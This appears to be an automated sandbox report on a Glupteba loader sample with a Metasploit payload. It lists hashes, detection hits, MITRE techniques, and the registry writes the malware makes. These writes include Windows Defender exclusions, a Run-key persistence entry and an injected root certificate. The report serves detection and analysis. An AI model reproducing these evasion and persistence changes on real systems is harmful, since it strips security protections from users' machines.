glupteba | a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e

General

Target

a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.exe
Size

3.9MB
MD5

5625cb2982b7118b5e262fcfea2f4851
SHA1

f34e4c803b7b89d5342d50aa42b2cbd55845e373
SHA256

a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e
SHA512

78f8e00bbdb173bc0646e6de3765001417c19a1431df763d2cb4113e5adfb9079dfde8611c490523bebae60dd696b2318a318d75c50c0c50a639d7938d773cf0
SSDEEP

98304:EPOjA7HxZYd828AdJitFsozsNoQIU1ckttckumEeJWs:EWk7RZF4yil+QIU12s

Score

10^/10

glupteba metasploit backdoor discovery dropper evasion loader persistence trojan

Malware Config

Extracted

Family

metasploit

Version

windows/single_exec

Signatures

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba payload 9 IoCs

Processes:

resource	yara_rule
behavioral1/memory/1056-56-0x0000000001370000-0x0000000001B74000-memory.dmp	family_glupteba
behavioral1/memory/1056-57-0x0000000000400000-0x0000000000C1E000-memory.dmp	family_glupteba
behavioral1/memory/1056-59-0x0000000001370000-0x0000000001B74000-memory.dmp	family_glupteba
behavioral1/memory/1056-61-0x0000000000400000-0x0000000000C1E000-memory.dmp	family_glupteba
behavioral1/memory/968-64-0x0000000000400000-0x0000000000C1E000-memory.dmp	family_glupteba
behavioral1/memory/968-66-0x0000000000400000-0x0000000000C1E000-memory.dmp	family_glupteba
behavioral1/memory/968-72-0x0000000000400000-0x0000000000C1E000-memory.dmp	family_glupteba
behavioral1/memory/936-74-0x0000000000400000-0x0000000000C1E000-memory.dmp	family_glupteba
behavioral1/memory/936-75-0x0000000000400000-0x0000000000C1E000-memory.dmp	family_glupteba

MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
trojan backdoor metasploit

Windows security bypass 2 TTPs 10 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

Processes:

a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0"	a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\RoughDarkness = "0"	a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0"	a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.exe = "0"	a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.exe

Executes dropped EXE 1 IoCs

Processes:

csrss.exe

pid process

936 csrss.exe
Modifies Windows Firewall 1 TTPs 1 IoCs
evasion

Modify Existing Service
T1031

Processes:

netsh.exe

pid process

1964 netsh.exe

pid	process
936	csrss.exe

pid	process
1964	netsh.exe

Loads dropped DLL 2 IoCs

Processes:

a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.exe

pid	process
968	a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.exe
968	a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.exe

Windows security modification 2 TTPs 10 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

Processes:

a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0"	a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.exe = "0"	a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0"	a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\RoughDarkness = "0"	a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1214520366-621468234-4062160515-1000\Software\Microsoft\Windows\CurrentVersion\Run\RoughDarkness = "\"C:\\Windows\\rss\\csrss.exe\""	a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops file in Windows directory 3 IoCs

Processes:

a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.exemakecab.exe

description	ioc	process
File created	C:\Windows\rss\csrss.exe	a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.exe
File created	C:\Windows\Logs\CBS\CbsPersist_20230129193323.cab	makecab.exe
File opened for modification	C:\Windows\rss	a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.exe

Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exe

pid process

1744 schtasks.exe
1000 schtasks.exe

pid	process
1744	schtasks.exe
1000	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

netsh.exea7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.execsrss.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-103 = "Microsoft Corporation"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-11 = "Azores Daylight Time"	a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-142 = "Canada Central Standard Time"	a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-52 = "Greenland Standard Time"	a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-842 = "Argentina Standard Time"	a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-435 = "Georgian Standard Time"	a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-691 = "Tasmania Daylight Time"	a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-632 = "Tokyo Standard Time"	a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\SYSTEM\CurrentControlSet\Control\NetTrace\Session	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-1 = "IPsec Relying Party"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-101 = "Provides RD Gateway enforcement for NAP"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-682 = "E. Australia Standard Time"	a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-631 = "Tokyo Daylight Time"	a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1472 = "Magadan Standard Time"	a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-351 = "FLE Daylight Time"	a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-601 = "Taipei Daylight Time"	a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-261 = "GMT Daylight Time"	a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1042 = "Ulaanbaatar Standard Time"	a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-152 = "Central America Standard Time"	a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-431 = "Iran Daylight Time"	a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1041 = "Ulaanbaatar Daylight Time"	a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-462 = "Afghanistan Standard Time"	a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-651 = "AUS Central Daylight Time"	a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1022 = "Bangladesh Standard Time"	a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-571 = "China Daylight Time"	a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-71 = "Newfoundland Daylight Time"	a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-201 = "US Mountain Daylight Time"	a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-141 = "Canada Central Daylight Time"	a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-962 = "Paraguay Standard Time"	a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-121 = "SA Pacific Daylight Time"	a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-292 = "Central European Standard Time"	a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-342 = "Egypt Standard Time"	a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-341 = "Egypt Daylight Time"	a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-912 = "Mauritius Standard Time"	a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-552 = "North Asia Standard Time"	a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1412 = "Syria Standard Time"	a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-222 = "Alaskan Standard Time"	a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-172 = "Central Standard Time (Mexico)"	a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-982 = "Kamchatka Standard Time"	a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-100 = "DHCP Quarantine Enforcement Client"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-100 = "RD Gateway Quarantine Enforcement Client"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-772 = "Montevideo Standard Time"	a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-502 = "Nepal Standard Time"	a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-215 = "Pacific Standard Time (Mexico)"	a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\SYSTEM\CurrentControlSet\Control\NetTrace	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-362 = "GTB Standard Time"	a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-491 = "India Daylight Time"	a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-692 = "Tasmania Standard Time"	a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-721 = "Central Pacific Daylight Time"	a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-181 = "Mountain Daylight Time (Mexico)"	a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-872 = "Pakistan Standard Time"	a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-242 = "Samoa Standard Time"	a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

Processes:

csrss.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4	csrss.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a42000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6	csrss.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.exea7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.exe

pid	process
1056	a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.exe
968	a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.execsrss.exe

description	pid	process
Token: SeDebugPrivilege	1056	a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.exe
Token: SeImpersonatePrivilege	1056	a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.exe
Token: SeSystemEnvironmentPrivilege	936	csrss.exe

Suspicious use of WriteProcessMemory 11 IoCs

Processes:

a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.execmd.exe

description	pid	process	target process
PID 968 wrote to memory of 896	968	a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.exe	cmd.exe
PID 968 wrote to memory of 896	968	a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.exe	cmd.exe
PID 968 wrote to memory of 896	968	a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.exe	cmd.exe
PID 968 wrote to memory of 896	968	a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.exe	cmd.exe
PID 896 wrote to memory of 1964	896	cmd.exe	netsh.exe
PID 896 wrote to memory of 1964	896	cmd.exe	netsh.exe
PID 896 wrote to memory of 1964	896	cmd.exe	netsh.exe
PID 968 wrote to memory of 936	968	a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.exe	csrss.exe
